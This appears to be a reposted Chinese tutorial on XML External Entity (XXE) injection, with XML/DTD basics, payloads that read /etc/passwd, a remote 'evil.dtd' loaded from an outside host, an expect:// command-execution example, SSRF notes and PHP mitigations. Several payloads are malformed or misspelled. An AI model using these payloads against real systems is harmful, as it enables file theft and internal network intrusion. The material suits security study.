XXE总结
0x00 目录0x01 XML基础定义:一种标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。 XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。 <!--XML声明--> <?xml version="1.0"?> <!--文档类型定义--> <!DOCTYPE note [ <!--定义此文档是 note 类型的文档--> <!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素--> <!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型--> <!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型--> <!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型--> <!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型--> ]]]> <!--文档元素--> <note> <to>Dave</to> <from>Tom</from> <head>Reminder</head> <body>You are a good man</body> </note> DTD 内部声明DTD: <!DOCTYPE 根元素 [元素声明]> 外部声明DTD: <!DOCTYPE 根元素 SYSTEM "文件名"> DTD中的一些重要的关键字:
实体类别介绍实体主要分为两类 1? 一般实体:内置实体/字符实体/通用实体 2? 参数实体 举例: <!ENTITY 实体名称 "实体内容"> 外部实体 <!ENTITY 实体名称 SYSTEM "URI"> 参数实体 <!ENTITY % 实体名称 "实体内容"> 或者 <!ENTITY % 实体名称 "URI"> 外部实体默认协议 PHP扩展协议? 举例: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE a [<!ENTITY passwd "file:///etc/passwd">]> <foo> <value>&passwd;</value> </foo> 0x02 XXE漏洞XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。 举例
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE a [<!ENTITY passwd SYSTEM "file:///etc/passwd">]> <a> <value>&passwd;</value> </a>
**XML内容** <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE a [ <!ENTITY % f SYSTEM "http://www.m03.com/evil.dtd"> %d; ]> <aaa>&b;</aaa> <!ENTITY b SYSTEM "file:///etc/passwd">
**xml文件内容** <?xml verstion="1.0" encoding="utf-8"?> <!DOCTYPE a[ <!ENTITY f SYSTEM "http://www.m03.com/evil.dtd"> ]> <a>&b;</a> **DTD文件内容** <!ENTITY b SYSTEM "file:///etc/passwd">
XXE的危害1.读取任意文件 - 有回显 **xml.php** <?php $xml = <<<EOF <?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///etc/passwd"> ]> <x>&f;</x> EOF; $data = simplexml_load_string($xml); print_r($data); ?> ? ? ? ? ? ? ? ? ? ? ? ? ? ?- 无回显,可以将文件内容发送到远程服务器,然后读取。 **xx.xml** 2.命令执行 php环境下,xml命令执行要求php装有expect扩展。而该扩展默认没有安装。 <?php $xml = <<<EOF <?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "except://ls"> ]> <x>&f;</x> EOF; $data = simplexml_load_string($xml); print_r($data); ?> 3.内网探测/SSRF 由于xml实体注入攻击可以利用http://协议,也就是可以发起http请求。可以利用该请求去探查内网,进行SSRF攻击。 0x03 XXE漏洞修复与防御xmllib2.9.0以后,默认不解析外部实体的。 1.使用开发语言提供的禁用外部实体的方法 PHP: libxml_disable_entity_loader(true); 2.过滤用户提交的XML数据 ? 0x04 总结XXE的高阶玩法很多,但究其原理都一样。“千里之堤,始于足下;百丈之台,始于垒土。” XXE漏洞学习从入门到放弃:https://www.jianshu.com/p/77f2181587a4 XXE萌新进阶全攻略:https://www.freebuf.com/vuls/194112.html XXE进阶——OOB攻击:https://www.jianshu.com/p/be4d7d5f799c DTD/XXE 攻击笔记分享:https://www.freebuf.com/articles/web/97833.html google“XXE进阶/全攻略/oob(out of band)” (编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |
- 使用Ruby Array #shuffle / sample的自定义随机数生成器
- cocos2dx windows安装有中文路径的解决办法
- .net – 闪烁和“CreateParams”
- vb.net – 函数的默认返回变量是否总是被分配?
- Flex中如何利用FocusManager类的setFocus函数设置TextInput
- 异步 – 如何使用回调从C#方法创建F#异步?
- ios – 链接器命令错误:’ld:未找到架构i386的符号’
- Tutorial: Flash and C++ Native Extension
- 真正的中国天气api接口xml,json(求加精) ...
- c# – 如何在Unity AndroidJavaClass中访问枚举